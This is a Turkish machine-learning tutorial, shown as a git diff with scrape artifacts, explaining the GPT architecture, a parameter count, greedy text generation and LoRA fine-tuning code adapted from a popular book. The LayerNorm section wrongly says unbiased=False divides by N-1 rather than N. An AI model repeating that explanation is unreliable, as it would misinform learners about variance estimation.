* **Çoklu Başlı Kendine Dikkat:** Modelin bir token'ı kodlarken girdi dizisi içindeki farklı pozisyonlara odaklanmasına olanak tanır.
|
||||
* **Ana Bileşenler:**
|
||||
* **Sorgular, Anahtarlar, Değerler:** Dikkat puanlarını hesaplamak için kullanılan girdi lineer projeksiyonları.
|
||||
* **Başlar:** Paralel çalışan birden fazla dikkat mekanizması (`num_heads`), her biri azaltılmış bir boyutla (`head_dim`).
|
||||
* **Dikkat Puanları:** Sorgular ve anahtarların nokta çarpımı olarak hesaplanır, ölçeklenir ve maske uygulanır.
|
||||
* **Maskeleme:** Gelecek token'lara dikkat edilmesini önlemek için nedensel bir maske uygulanır (GPT gibi otoregresif modeller için önemlidir).
|
||||
* **Dikkat Ağırlıkları:** Maskelenmiş ve ölçeklenmiş dikkat puanlarının softmax'ı.
|
||||
* **Bağlam Vektörü:** Dikkat ağırlıklarına göre değerlerin ağırlıklı toplamı.
|
||||
* **Çıktı Projeksiyonu:** Tüm başların çıktısını birleştirmek için lineer katman.
|
||||
|
||||
{% hint style="info" %}
|
||||
Bu ağın amacı, aynı bağlamdaki token'lar arasındaki ilişkileri bulmaktır. Ayrıca, son ilişkilerin her başta bulunmasını sağlamak için token'lar farklı başlara ayrılır, böylece aşırı uyum önlenir.
|
||||
|
||||
Ayrıca, eğitim sırasında belirli bir token'a ilişkin ilişkileri incelerken daha sonraki token'ların dikkate alınmaması için bir **nedensel maske** uygulanır ve aşırı uyumu **önlemek** için bazı **dropout** uygulanır.
|
||||
{% endhint %}
|
||||
|
||||
### **Katman** Normalizasyon
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
class LayerNorm(nn.Module):
|
||||
def __init__(self, emb_dim):
|
||||
super().__init__()
|
||||
self.eps = 1e-5 # Prevent division by zero during normalization.
|
||||
self.scale = nn.Parameter(torch.ones(emb_dim))
|
||||
self.shift = nn.Parameter(torch.zeros(emb_dim))
|
||||
|
||||
def forward(self, x):
|
||||
mean = x.mean(dim=-1, keepdim=True)
|
||||
var = x.var(dim=-1, keepdim=True, unbiased=False)
|
||||
norm_x = (x - mean) / torch.sqrt(var + self.eps)
|
||||
return self.scale * norm_x + self.shift
|
||||
```
|
||||
#### **Amaç ve İşlevsellik**
|
||||
|
||||
* **Katman Normalizasyonu:** Bir partideki her bireysel örnek için özellikler (gömme boyutları) boyunca girişleri normalleştirmek için kullanılan bir teknik.
|
||||
* **Bileşenler:**
|
||||
* **`eps`:** Normalizasyon sırasında sıfıra bölmeyi önlemek için varyansa eklenen küçük bir sabit (`1e-5`).
|
||||
* **`scale` ve `shift`:** Normalleştirilmiş çıktıyı ölçeklendirmek ve kaydırmak için modelin kullanabileceği öğrenilebilir parametreler (`nn.Parameter`). Sırasıyla birler ve sıfırlar ile başlatılır.
|
||||
* **Normalizasyon Süreci:**
|
||||
* **Ortalama Hesaplama (`mean`):** Gömme boyutu boyunca giriş `x`'in ortalamasını hesaplar (`dim=-1`), yayılma için boyutu korur (`keepdim=True`).
|
||||
* **Varyans Hesaplama (`var`):** Gömme boyutu boyunca `x`'in varyansını hesaplar, boyutu da korur. `unbiased=False` parametresi, varyansın yanlı tahminci kullanılarak hesaplanmasını sağlar (örnek sayısı `N` yerine `N-1` ile bölünerek), bu da örnekler yerine özellikler üzerinde normalleştirme yaparken uygundur.
|
||||
* **Normalleştirme (`norm_x`):** `x`'ten ortalamayı çıkarır ve varyansın karekökü artı `eps` ile böler.
|
||||
* **Ölçekleme ve Kaydırma:** Normalleştirilmiş çıktıya öğrenilebilir `scale` ve `shift` parametrelerini uygular.
|
||||
|
||||
{% hint style="info" %}
|
||||
Amaç, aynı token'ın tüm boyutları boyunca 0 ortalama ve 1 varyans sağlamaktır. Bunun amacı, **derin sinir ağlarının eğitimini stabilize etmek** için iç değişken kaymasını azaltmaktır; bu, eğitim sırasında parametrelerin güncellenmesi nedeniyle ağ aktivasyonlarının dağılımındaki değişimi ifade eder.
|
||||
{% endhint %}
|
||||
|
||||
### **Dönüştürücü Bloğu**
|
||||
|
||||
_Şekillerin matrislerin şekillerini daha iyi anlamak için yorum olarak eklendi:_
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
|
||||
class TransformerBlock(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.att = MultiHeadAttention(
|
||||
d_in=cfg["emb_dim"],
|
||||
d_out=cfg["emb_dim"],
|
||||
context_length=cfg["context_length"],
|
||||
num_heads=cfg["n_heads"],
|
||||
dropout=cfg["drop_rate"],
|
||||
qkv_bias=cfg["qkv_bias"]
|
||||
)
|
||||
self.ff = FeedForward(cfg)
|
||||
self.norm1 = LayerNorm(cfg["emb_dim"])
|
||||
self.norm2 = LayerNorm(cfg["emb_dim"])
|
||||
self.drop_shortcut = nn.Dropout(cfg["drop_rate"])
|
||||
|
||||
def forward(self, x):
|
||||
# x shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
# Shortcut connection for attention block
|
||||
shortcut = x # shape: (batch_size, seq_len, emb_dim)
|
||||
x = self.norm1(x) # shape remains (batch_size, seq_len, emb_dim)
|
||||
x = self.att(x) # shape: (batch_size, seq_len, emb_dim)
|
||||
x = self.drop_shortcut(x) # shape remains (batch_size, seq_len, emb_dim)
|
||||
x = x + shortcut # shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
# Shortcut connection for feedforward block
|
||||
shortcut = x # shape: (batch_size, seq_len, emb_dim)
|
||||
x = self.norm2(x) # shape remains (batch_size, seq_len, emb_dim)
|
||||
x = self.ff(x) # shape: (batch_size, seq_len, emb_dim)
|
||||
x = self.drop_shortcut(x) # shape remains (batch_size, seq_len, emb_dim)
|
||||
x = x + shortcut # shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
```
|
||||
#### **Amaç ve İşlevsellik**
|
||||
|
||||
* **Katmanların Bileşimi:** Çok başlı dikkat, ileri besleme ağı, katman normalizasyonu ve artımlı bağlantıları birleştirir.
|
||||
* **Katman Normalizasyonu:** Dikkat ve ileri besleme katmanlarından önce uygulanır, böylece eğitim kararlılığı sağlanır.
|
||||
* **Artımlı Bağlantılar (Kısa Yollar):** Bir katmanın girişini çıkışına ekleyerek gradyan akışını iyileştirir ve derin ağların eğitimini mümkün kılar.
|
||||
* **Dropout:** Düzenleme için dikkat ve ileri besleme katmanlarından sonra uygulanır.
|
||||
|
||||
#### **Adım Adım İşlevsellik**
|
||||
|
||||
1. **İlk Artımlı Yol (Kendi Dikkati):**
|
||||
* **Giriş (`shortcut`):** Artımlı bağlantı için orijinal girişi kaydedin.
|
||||
* **Katman Normu (`norm1`):** Girişi normalleştirin.
|
||||
* **Çok Başlı Dikkat (`att`):** Kendi dikkatinizi uygulayın.
|
||||
* **Dropout (`drop_shortcut`):** Düzenleme için dropout uygulayın.
|
||||
* **Artımlı Ekleme (`x + shortcut`):** Orijinal girişle birleştirin.
|
||||
2. **İkinci Artımlı Yol (İleri Besleme):**
|
||||
* **Giriş (`shortcut`):** Bir sonraki artımlı bağlantı için güncellenmiş girişi kaydedin.
|
||||
* **Katman Normu (`norm2`):** Girişi normalleştirin.
|
||||
* **İleri Besleme Ağı (`ff`):** İleri besleme dönüşümünü uygulayın.
|
||||
* **Dropout (`drop_shortcut`):** Dropout uygulayın.
|
||||
* **Artımlı Ekleme (`x + shortcut`):** İlk artımlı yoldan gelen girişle birleştirin.
|
||||
|
||||
{% hint style="info" %}
|
||||
Transformer bloğu tüm ağları bir araya getirir ve eğitim kararlılığını ve sonuçlarını iyileştirmek için bazı **normalizasyon** ve **dropout** uygulamaları yapar.\
|
||||
Dropout'ların her ağın kullanımından sonra yapıldığını, normalizasyonun ise öncesinde uygulandığını not edin.
|
||||
|
||||
Ayrıca, bir ağın çıkışını girişi ile **eklemeyi** içeren kısa yolları da kullanır. Bu, başlangıç katmanlarının son katmanlar kadar "katkıda bulunmasını" sağlayarak kaybolan gradyan sorununu önlemeye yardımcı olur.
|
||||
{% endhint %}
|
||||
|
||||
### **GPTModel**
|
||||
|
||||
_Şekillerin matrislerin şekillerini daha iyi anlamak için yorum olarak eklendi:_
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
class GPTModel(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"])
|
||||
# shape: (vocab_size, emb_dim)
|
||||
|
||||
self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"])
|
||||
# shape: (context_length, emb_dim)
|
||||
|
||||
self.drop_emb = nn.Dropout(cfg["drop_rate"])
|
||||
|
||||
self.trf_blocks = nn.Sequential(
|
||||
*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])]
|
||||
)
|
||||
# Stack of TransformerBlocks
|
||||
|
||||
self.final_norm = LayerNorm(cfg["emb_dim"])
|
||||
self.out_head = nn.Linear(cfg["emb_dim"], cfg["vocab_size"], bias=False)
|
||||
# shape: (emb_dim, vocab_size)
|
||||
|
||||
def forward(self, in_idx):
|
||||
# in_idx shape: (batch_size, seq_len)
|
||||
batch_size, seq_len = in_idx.shape
|
||||
|
||||
# Token embeddings
|
||||
tok_embeds = self.tok_emb(in_idx)
|
||||
# shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
# Positional embeddings
|
||||
pos_indices = torch.arange(seq_len, device=in_idx.device)
|
||||
# shape: (seq_len,)
|
||||
pos_embeds = self.pos_emb(pos_indices)
|
||||
# shape: (seq_len, emb_dim)
|
||||
|
||||
# Add token and positional embeddings
|
||||
x = tok_embeds + pos_embeds # Broadcasting over batch dimension
|
||||
# x shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
x = self.drop_emb(x) # Dropout applied
|
||||
# x shape remains: (batch_size, seq_len, emb_dim)
|
||||
|
||||
x = self.trf_blocks(x) # Pass through Transformer blocks
|
||||
# x shape remains: (batch_size, seq_len, emb_dim)
|
||||
|
||||
x = self.final_norm(x) # Final LayerNorm
|
||||
# x shape remains: (batch_size, seq_len, emb_dim)
|
||||
|
||||
logits = self.out_head(x) # Project to vocabulary size
|
||||
# logits shape: (batch_size, seq_len, vocab_size)
|
||||
|
||||
return logits # Output shape: (batch_size, seq_len, vocab_size)
|
||||
```
|
||||
#### **Amaç ve İşlevsellik**
|
||||
|
||||
* **Gömme Katmanları:**
|
||||
* **Token Gömme (`tok_emb`):** Token indekslerini gömülere dönüştürür. Hatırlatma olarak, bunlar kelime dağarcığındaki her tokenin her boyutuna verilen ağırlıklardır.
|
||||
* **Pozisyonel Gömme (`pos_emb`):** Gömülere pozisyonel bilgi ekleyerek tokenlerin sırasını yakalar. Hatırlatma olarak, bunlar metindeki pozisyonuna göre tokenlere verilen ağırlıklardır.
|
||||
* **Dropout (`drop_emb`):** Gömülere düzenleme uygulamak için kullanılır.
|
||||
* **Transformer Blokları (`trf_blocks`):** Gömüleri işlemek için `n_layers` transformer bloğunun yığını.
|
||||
* **Son Normalizasyon (`final_norm`):** Çıktı katmanından önce katman normalizasyonu.
|
||||
* **Çıktı Katmanı (`out_head`):** Son gizli durumları kelime dağarcığı boyutuna projekte ederek tahmin için logitleri üretir.
|
||||
|
||||
{% hint style="info" %}
|
||||
Bu sınıfın amacı, **bir dizideki bir sonraki tokeni tahmin etmek** için diğer bahsedilen tüm ağları kullanmaktır; bu, metin üretimi gibi görevler için temeldir.
|
||||
|
||||
Ne kadar **belirtilen kadar transformer bloğu kullanacağını** ve her transformer bloğunun bir çoklu başlık dikkat ağı, bir ileri besleme ağı ve birkaç normalizasyon kullandığını not edin. Yani 12 transformer bloğu kullanılıyorsa, bunu 12 ile çarpın.
|
||||
|
||||
Ayrıca, **çıktıdan önce** bir **normalizasyon** katmanı eklenir ve sonuçları uygun boyutlarla almak için sonunda bir son lineer katman uygulanır. Her son vektörün kullanılan kelime dağarcığı boyutuna sahip olduğunu not edin. Bu, kelime dağarcığındaki her olası token için bir olasılık elde etmeye çalıştığı içindir.
|
||||
{% endhint %}
|
||||
|
||||
## Eğitilecek Parametre Sayısı
|
||||
|
||||
GPT yapısı tanımlandığında, eğitilecek parametre sayısını bulmak mümkündür:
|
||||
```python
|
||||
GPT_CONFIG_124M = {
|
||||
"vocab_size": 50257, # Vocabulary size
|
||||
"context_length": 1024, # Context length
|
||||
"emb_dim": 768, # Embedding dimension
|
||||
"n_heads": 12, # Number of attention heads
|
||||
"n_layers": 12, # Number of layers
|
||||
"drop_rate": 0.1, # Dropout rate
|
||||
"qkv_bias": False # Query-Key-Value bias
|
||||
}
|
||||
|
||||
model = GPTModel(GPT_CONFIG_124M)
|
||||
total_params = sum(p.numel() for p in model.parameters())
|
||||
print(f"Total number of parameters: {total_params:,}")
|
||||
# Total number of parameters: 163,009,536
|
||||
```
|
||||
### **Adım Adım Hesaplama**
|
||||
|
||||
#### **1. Gömme Katmanları: Token Gömme & Konum Gömme**
|
||||
|
||||
* **Katman:** `nn.Embedding(vocab_size, emb_dim)`
|
||||
* **Parametreler:** `vocab_size * emb_dim`
|
||||
```python
|
||||
token_embedding_params = 50257 * 768 = 38,597,376
|
||||
```
|
||||
* **Katman:** `nn.Embedding(context_length, emb_dim)`
|
||||
* **Parametreler:** `context_length * emb_dim`
|
||||
```python
|
||||
position_embedding_params = 1024 * 768 = 786,432
|
||||
```
|
||||
**Toplam Gömme Parametreleri**
|
||||
```python
|
||||
embedding_params = token_embedding_params + position_embedding_params
|
||||
embedding_params = 38,597,376 + 786,432 = 39,383,808
|
||||
```
|
||||
#### **2. Transformer Blokları**
|
||||
|
||||
12 transformer bloğu vardır, bu yüzden bir bloğun parametrelerini hesaplayacağız ve ardından 12 ile çarpacağız.
|
||||
|
||||
**Her Transformer Bloğu için Parametreler**
|
||||
|
||||
**a. Çoklu Başlı Dikkat**
|
||||
|
||||
* **Bileşenler:**
|
||||
* **Sorgu Lineer Katmanı (`W_query`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
|
||||
* **Anahtar Lineer Katmanı (`W_key`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
|
||||
* **Değer Lineer Katmanı (`W_value`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
|
||||
* **Çıktı Projeksiyonu (`out_proj`):** `nn.Linear(emb_dim, emb_dim)`
|
||||
* **Hesaplamalar:**
|
||||
* **`W_query`, `W_key`, `W_value` için her biri:**
|
||||
|
||||
```python
|
||||
qkv_params = emb_dim * emb_dim = 768 * 768 = 589,824
|
||||
```
|
||||
|
||||
Üç böyle katman olduğu için:
|
||||
|
||||
```python
|
||||
total_qkv_params = 3 * qkv_params = 3 * 589,824 = 1,769,472
|
||||
```
|
||||
* **Çıktı Projeksiyonu (`out_proj`):**
|
||||
|
||||
```python
|
||||
out_proj_params = (emb_dim * emb_dim) + emb_dim = (768 * 768) + 768 = 589,824 + 768 = 590,592
|
||||
```
|
||||
* **Toplam Çoklu Başlı Dikkat Parametreleri:**
|
||||
|
||||
```python
|
||||
mha_params = total_qkv_params + out_proj_params
|
||||
mha_params = 1,769,472 + 590,592 = 2,360,064
|
||||
```
|
||||
|
||||
**b. İleri Besleme Ağı**
|
||||
|
||||
* **Bileşenler:**
|
||||
* **İlk Lineer Katman:** `nn.Linear(emb_dim, 4 * emb_dim)`
|
||||
* **İkinci Lineer Katman:** `nn.Linear(4 * emb_dim, emb_dim)`
|
||||
* **Hesaplamalar:**
|
||||
* **İlk Lineer Katman:**
|
||||
|
||||
```python
|
||||
ff_first_layer_params = (emb_dim * 4 * emb_dim) + (4 * emb_dim)
|
||||
ff_first_layer_params = (768 * 3072) + 3072 = 2,359,296 + 3,072 = 2,362,368
|
||||
```
|
||||
* **İkinci Lineer Katman:**
|
||||
|
||||
```python
|
||||
ff_second_layer_params = (4 * emb_dim * emb_dim) + emb_dim
|
||||
ff_second_layer_params = (3072 * 768) + 768 = 2,359,296 + 768 = 2,360,064
|
||||
```
|
||||
* **Toplam İleri Besleme Parametreleri:**
|
||||
|
||||
```python
|
||||
ff_params = ff_first_layer_params + ff_second_layer_params
|
||||
ff_params = 2,362,368 + 2,360,064 = 4,722,432
|
||||
```
|
||||
|
||||
**c. Katman Normalizasyonları**
|
||||
|
||||
* **Bileşenler:**
|
||||
* Her blok için iki `LayerNorm` örneği.
|
||||
* Her `LayerNorm`'un `2 * emb_dim` parametresi vardır (ölçek ve kaydırma).
|
||||
* **Hesaplamalar:**
|
||||
|
||||
```python
|
||||
layer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072
|
||||
```
|
||||
|
||||
**d. Her Transformer Bloğu için Toplam Parametreler**
|
||||
```python
|
||||
pythonCopy codeparams_per_block = mha_params + ff_params + layer_norm_params_per_block
|
||||
params_per_block = 2,360,064 + 4,722,432 + 3,072 = 7,085,568
|
||||
```
|
||||
**Tüm Dönüştürücü Blokları için Toplam Parametreler**
|
||||
```python
|
||||
pythonCopy codetotal_transformer_blocks_params = params_per_block * n_layers
|
||||
total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816
|
||||
```
|
||||
#### **3. Son Katmanlar**
|
||||
|
||||
**a. Son Katman Normalizasyonu**
|
||||
|
||||
* **Parametreler:** `2 * emb_dim` (ölçek ve kaydırma)
|
||||
```python
|
||||
pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536
|
||||
```
|
||||
**b. Çıktı Projeksiyon Katmanı (`out_head`)**
|
||||
|
||||
* **Katman:** `nn.Linear(emb_dim, vocab_size, bias=False)`
|
||||
* **Parametreler:** `emb_dim * vocab_size`
|
||||
```python
|
||||
pythonCopy codeoutput_projection_params = 768 * 50257 = 38,597,376
|
||||
```
|
||||
#### **4. Tüm Parametreleri Özetleme**
|
||||
```python
|
||||
pythonCopy codetotal_params = (
|
||||
embedding_params +
|
||||
total_transformer_blocks_params +
|
||||
final_layer_norm_params +
|
||||
output_projection_params
|
||||
)
|
||||
total_params = (
|
||||
39,383,808 +
|
||||
85,026,816 +
|
||||
1,536 +
|
||||
38,597,376
|
||||
)
|
||||
total_params = 163,009,536
|
||||
```
|
||||
## Metin Üret
|
||||
|
||||
Önceki gibi bir sonraki token'ı tahmin eden bir modele sahip olduğunuzda, çıktının son token değerlerini almak yeterlidir (çünkü bunlar tahmin edilen token'ın değerleri olacaktır), bu da **sözlükteki her bir giriş için bir değer** olacak ve ardından `softmax` fonksiyonunu kullanarak boyutları 1'e toplam olan olasılıklara normalize etmek ve ardından en büyük girişin indeksini almak, bu da sözlükteki kelimenin indeksi olacaktır.
|
||||
|
||||
[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb) adresinden kod:
|
||||
```python
|
||||
def generate_text_simple(model, idx, max_new_tokens, context_size):
|
||||
# idx is (batch, n_tokens) array of indices in the current context
|
||||
for _ in range(max_new_tokens):
|
||||
|
||||
# Crop current context if it exceeds the supported context size
|
||||
# E.g., if LLM supports only 5 tokens, and the context size is 10
|
||||
# then only the last 5 tokens are used as context
|
||||
idx_cond = idx[:, -context_size:]
|
||||
|
||||
# Get the predictions
|
||||
with torch.no_grad():
|
||||
logits = model(idx_cond)
|
||||
|
||||
# Focus only on the last time step
|
||||
# (batch, n_tokens, vocab_size) becomes (batch, vocab_size)
|
||||
logits = logits[:, -1, :]
|
||||
|
||||
# Apply softmax to get probabilities
|
||||
probas = torch.softmax(logits, dim=-1) # (batch, vocab_size)
|
||||
|
||||
# Get the idx of the vocab entry with the highest probability value
|
||||
idx_next = torch.argmax(probas, dim=-1, keepdim=True) # (batch, 1)
|
||||
|
||||
# Append sampled index to the running sequence
|
||||
idx = torch.cat((idx, idx_next), dim=1) # (batch, n_tokens+1)
|
||||
|
||||
return idx
|
||||
|
||||
|
||||
start_context = "Hello, I am"
|
||||
|
||||
encoded = tokenizer.encode(start_context)
|
||||
print("encoded:", encoded)
|
||||
|
||||
encoded_tensor = torch.tensor(encoded).unsqueeze(0)
|
||||
print("encoded_tensor.shape:", encoded_tensor.shape)
|
||||
|
||||
model.eval() # disable dropout
|
||||
|
||||
out = generate_text_simple(
|
||||
model=model,
|
||||
idx=encoded_tensor,
|
||||
max_new_tokens=6,
|
||||
context_size=GPT_CONFIG_124M["context_length"]
|
||||
)
|
||||
|
||||
print("Output:", out)
|
||||
print("Output length:", len(out[0]))
|
||||
```
|
||||
## Referanslar
|
||||
|
||||
* [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
|
@ -0,0 +1,61 @@
|
|||
# 7.0. LoRA İyileştirmeleri ile ince ayar
|
||||
|
||||
## LoRA İyileştirmeleri
|
||||
|
||||
{% hint style="success" %}
|
||||
**LoRA'nın kullanımı,** zaten eğitilmiş modelleri **ince ayar** yapmak için gereken hesaplamayı büyük ölçüde azaltır.
|
||||
{% endhint %}
|
||||
|
||||
LoRA, modelin **küçük bir kısmını** değiştirerek **büyük modelleri** verimli bir şekilde ince ayar yapmayı mümkün kılar. Eğitilmesi gereken parametre sayısını azaltarak **bellek** ve **hesaplama kaynakları** tasarrufu sağlar. Bunun nedeni:
|
||||
|
||||
1. **Eğitilebilir Parametre Sayısını Azaltır**: Modeldeki tüm ağırlık matrisini güncellemek yerine, LoRA ağırlık matrisini iki daha küçük matrise (A ve B olarak adlandırılır) **bölerek** çalışır. Bu, eğitimi **daha hızlı** hale getirir ve daha az bellek gerektirir çünkü daha az parametre güncellenmesi gerekir.
|
||||
1. Bunun nedeni, bir katmanın (matrisin) tam ağırlık güncellemesini hesaplamak yerine, bunu 2 daha küçük matrisin çarpımı olarak yaklaşık olarak hesaplamasıdır, bu da güncellemeyi hesaplamayı azaltır:\
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure>
|
||||
2. **Orijinal Model Ağırlıklarını Değiştirmeden Tutma**: LoRA, orijinal model ağırlıklarını aynı tutmanıza ve yalnızca **yeni küçük matrisleri** (A ve B) güncellemenize olanak tanır. Bu, modelin orijinal bilgisinin korunması anlamına geldiği için faydalıdır ve yalnızca gerekli olanı ayarlarsınız.
|
||||
3. **Verimli Görev-Özel İnce Ayar**: Modeli **yeni bir göreve** uyarlamak istediğinizde, modelin geri kalanını olduğu gibi bırakırken yalnızca **küçük LoRA matrislerini** (A ve B) eğitebilirsiniz. Bu, tüm modeli yeniden eğitmekten **çok daha verimlidir**.
|
||||
4. **Depolama Verimliliği**: İnce ayar yaptıktan sonra, her görev için **tamamen yeni bir modeli** kaydetmek yerine, yalnızca **LoRA matrislerini** saklamanız gerekir; bu matrisler, tüm modele kıyasla çok küçüktür. Bu, modeli çok fazla depolama alanı kullanmadan birçok göreve uyarlamayı kolaylaştırır.
|
||||
|
||||
LoRA katmanlarını ince ayar sırasında Lineer olanlar yerine uygulamak için, burada önerilen kod [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01\_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01\_main-chapter-code/appendix-E.ipynb):
|
||||
```python
|
||||
import math
|
||||
|
||||
# Create the LoRA layer with the 2 matrices and the alpha
|
||||
class LoRALayer(torch.nn.Module):
|
||||
def __init__(self, in_dim, out_dim, rank, alpha):
|
||||
super().__init__()
|
||||
self.A = torch.nn.Parameter(torch.empty(in_dim, rank))
|
||||
torch.nn.init.kaiming_uniform_(self.A, a=math.sqrt(5)) # similar to standard weight initialization
|
||||
self.B = torch.nn.Parameter(torch.zeros(rank, out_dim))
|
||||
self.alpha = alpha
|
||||
|
||||
def forward(self, x):
|
||||
x = self.alpha * (x @ self.A @ self.B)
|
||||
return x
|
||||
|
||||
# Combine it with the linear layer
|
||||
class LinearWithLoRA(torch.nn.Module):
|
||||
def __init__(self, linear, rank, alpha):
|
||||
super().__init__()
|
||||
self.linear = linear
|
||||
self.lora = LoRALayer(
|
||||
linear.in_features, linear.out_features, rank, alpha
|
||||
)
|
||||
|
||||
def forward(self, x):
|
||||
return self.linear(x) + self.lora(x)
|
||||
|
||||
# Replace linear layers with LoRA ones
|
||||
def replace_linear_with_lora(model, rank, alpha):
|
||||
for name, module in model.named_children():
|
||||
if isinstance(module, torch.nn.Linear):
|
||||
# Replace the Linear layer with LinearWithLoRA
|
||||
setattr(model, name, LinearWithLoRA(module, rank, alpha))
|
||||
else:
|
||||
# Recursively apply the same function to child modules
|
||||
replace_linear_with_lora(module, rank, alpha)
|
||||
```
|
||||
## Referanslar
|
||||
|
||||
* [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
107
todo/llm-training-data-preparation/README.md
Normal file
|
@ -0,0 +1,107 @@
|
|||
# LLM Training - Data Preparation
|
||||
|
||||
**Bunlar, çok önerilen** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **kitabından aldığım notlar ve bazı ek bilgiler.**
|
||||
|
||||
## Basic Information
|
||||
|
||||
Bu temel kavramlar hakkında bilmeniz gereken bazı temel bilgiler için bu yazıyı okumaya başlamalısınız:
|
||||
|
||||
{% content-ref url="0.-basic-llm-concepts.md" %}
|
||||
[0.-basic-llm-concepts.md](0.-basic-llm-concepts.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 1. Tokenization
|
||||
|
||||
{% hint style="success" %}
|
||||
Bu ilk aşamanın amacı çok basit: **Girdiyi mantıklı bir şekilde token'lara (kimliklere) ayırmak**.
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="1.-tokenizing.md" %}
|
||||
[1.-tokenizing.md](1.-tokenizing.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 2. Data Sampling
|
||||
|
||||
{% hint style="success" %}
|
||||
Bu ikinci aşamanın amacı çok basit: **Girdi verilerini örneklemek ve genellikle belirli bir uzunluktaki cümlelere ayırarak ve beklenen yanıtı da üreterek eğitim aşamasına hazırlamak.**
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="2.-data-sampling.md" %}
|
||||
[2.-data-sampling.md](2.-data-sampling.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 3. Token Embeddings
|
||||
|
||||
{% hint style="success" %}
|
||||
Bu üçüncü aşamanın amacı çok basit: **Sözlükteki önceki her token'a modelin eğitimi için istenen boyutlarda bir vektör atamak.** Sözlükteki her kelime, X boyutlu bir uzayda bir nokta olacaktır.\
|
||||
Başlangıçta her kelimenin uzaydaki konumu "rastgele" başlatılır ve bu konumlar eğitilebilir parametrelerdir (eğitim sırasında geliştirilecektir).
|
||||
|
||||
Ayrıca, token embedding sırasında **başka bir embedding katmanı oluşturulur** ki bu, **eğitim cümlesindeki kelimenin mutlak konumunu** temsil eder. Bu şekilde, cümledeki farklı konumlarda bir kelime farklı bir temsil (anlam) alacaktır.
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="3.-token-embeddings.md" %}
|
||||
[3.-token-embeddings.md](3.-token-embeddings.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 4. Attention Mechanisms
|
||||
|
||||
{% hint style="success" %}
|
||||
Bu dördüncü aşamanın amacı çok basit: **Bazı dikkat mekanizmaları uygulamak**. Bunlar, **sözlükteki bir kelimenin, LLM'yi eğitmek için kullanılan mevcut cümledeki komşularıyla olan ilişkisini yakalayacak çok sayıda **tekrarlanan katman** olacaktır.\
|
||||
Bunun için çok sayıda katman kullanılacak, bu nedenle çok sayıda eğitilebilir parametre bu bilgiyi yakalayacaktır.
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="4.-attention-mechanisms.md" %}
|
||||
[4.-attention-mechanisms.md](4.-attention-mechanisms.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 5. LLM Architecture
|
||||
|
||||
{% hint style="success" %}
|
||||
Bu beşinci aşamanın amacı çok basit: **Tam LLM'nin mimarisini geliştirmek**. Her şeyi bir araya getirin, tüm katmanları uygulayın ve metin oluşturmak veya metni kimliklere ve geriye dönüştürmek için tüm işlevleri oluşturun.
|
||||
|
||||
Bu mimari, hem eğitim hem de eğitimden sonra metin tahmin etmek için kullanılacaktır.
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="5.-llm-architecture.md" %}
|
||||
[5.-llm-architecture.md](5.-llm-architecture.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 6. Pre-training & Loading models
|
||||
|
||||
{% hint style="success" %}
|
||||
Bu altıncı aşamanın amacı çok basit: **Modeli sıfırdan eğitmek**. Bunun için önceki LLM mimarisi, tanımlı kayıp fonksiyonları ve optimizasyon kullanarak veri setleri üzerinde döngülerle tüm model parametrelerini eğitmek için kullanılacaktır.
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="6.-pre-training-and-loading-models.md" %}
|
||||
[6.-pre-training-and-loading-models.md](6.-pre-training-and-loading-models.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 7.0. LoRA Improvements in fine-tuning
|
||||
|
||||
{% hint style="success" %}
|
||||
**LoRA'nın kullanımı,** zaten eğitilmiş modelleri **ince ayar yapmak için gereken hesaplamayı** büyük ölçüde azaltır.
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="7.0.-lora-improvements-in-fine-tuning.md" %}
|
||||
[7.0.-lora-improvements-in-fine-tuning.md](7.0.-lora-improvements-in-fine-tuning.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 7.1. Fine-Tuning for Classification
|
